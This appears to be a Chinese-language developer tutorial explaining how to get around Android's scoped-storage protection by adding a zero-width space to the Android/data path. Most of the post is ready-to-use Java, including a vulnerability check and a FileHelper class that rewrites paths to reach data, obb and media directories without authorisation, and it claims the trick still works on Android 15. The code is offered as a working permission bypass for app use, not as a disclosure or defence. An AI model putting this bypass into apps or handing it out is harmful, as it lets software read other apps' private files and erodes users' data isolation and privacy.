从android11开始,访问/sdcard/Android/data目录需要URI授权,而从更高的版本开始甚至URI权限也被收回,返回"无法使用此文件夹"的提示,这里提供一种方法,可以越权强制访问data目录,当然也包括obb、media等目录,方法就是利用andoird文件提权漏洞。
漏洞原理:利用\u200b这个unicode字符构造一个文件别名,但实际指向的仍然是目标文件,由于这个字符是零宽度,所以系统会将其不可见字符过滤掉,判断为合规文件,从而绕过系统媒体权限
验证机制,实现了像常规访问文件一样访问data目录,目前这个bug在android15下实测仍然有效。
java
//获取Android/data下的所有文件
File dataDir = new File("/sdcard/android/\u200bdata");
File[] files = dataDir.listFiles();
java
if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
//如果没有存储权限,先去申请
return;
}
File dataDir = new File("/sdcard/android/\u200bdata");
if (dataDir.canRead()) {
//存在漏洞,直接访问其中的文件
}
java
import android.os.Build;
import android.os.Environment;
import java.io.File;
import java.io.IOException;
public class FileHelper {
/**
* 是否存在该漏洞,判断前要先获取存储权限
*
* @return
*/
public static boolean canAccessDataDir() {
if (Build.VERSION.SDK_INT < 30) {
//android10及以下
return new File("/sdcard/android/data").canRead();
} else {
File dataDir = new File("/sdcard/android/\u200bdata");
return dataDir.canRead();
}
}
/**
* 是否是/sdcard/android目录
*
* @param dir
* @return
*/
public static boolean isAndroidDir(File dir) {
File rootDir = Environment.getExternalStorageDirectory();
if (rootDir == null) return false;
try {
File canFile = dir.getCanonicalFile();
if (canFile.getPath().toLowerCase().equals(rootDir.getPath().toLowerCase() + "/android")) {
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
private static String getAndroidPath() {
File rootDir = Environment.getExternalStorageDirectory();
if (rootDir == null) {
return null;
}
return rootDir.getPath() + "/Android/";
}
/**
* 获取android目录子文件
*
* @param file
* @return
*/
public static File getReviseFromAndroid(File file) {
return new File(file.getParentFile(), "\u200b" + file.getName());
}
/**
* 获取修正过的文件
*
* @param file
* @return
*/
public static File getReviseFile(File file) {
if (Build.VERSION.SDK_INT < 30) return file;
if (file == null) {
return null;
}
String androidPath = getAndroidPath();
if (androidPath != null) {
String canPath = getCanonicalPath(file);
//Log.i("WALX_SPY", canPath + ", " + androidPath);
if (canPath.length() > androidPath.length() && canPath.toLowerCase().startsWith(androidPath.toLowerCase())) {
return new File(androidPath + "\u200b" + canPath.substring(androidPath.length()));
}
}
return file;
}
private static String getCanonicalPath(File file) {
//file.getCanonicalPath(); //不能直接使用
if (file == null) return null;
String path = null;
try {
path = file.getCanonicalPath();
} catch (IOException e) {
e.printStackTrace();
}
final String sdcard = "/sdcard/";
if (path == null) path = file.getAbsolutePath();
if (path.length() > sdcard.length() && path.toLowerCase().startsWith(sdcard)) {
String androidPath = getAndroidPath();
if (androidPath != null) {
path = androidPath + path.substring(sdcard.length());
}
}
return path;
}
/**
* 获取修正过的文件
*
* @param path
* @return
*/
public static File getReviseFile(String path) {
return path == null ? null : getReviseFile(new File(path));
}
/**
* 获取修正过的路径
*
* @param path
* @return
*/
public static String getRevisePath(String path) {
File file = getReviseFile(path);
return file == null ? null : file.getAbsolutePath();
}
}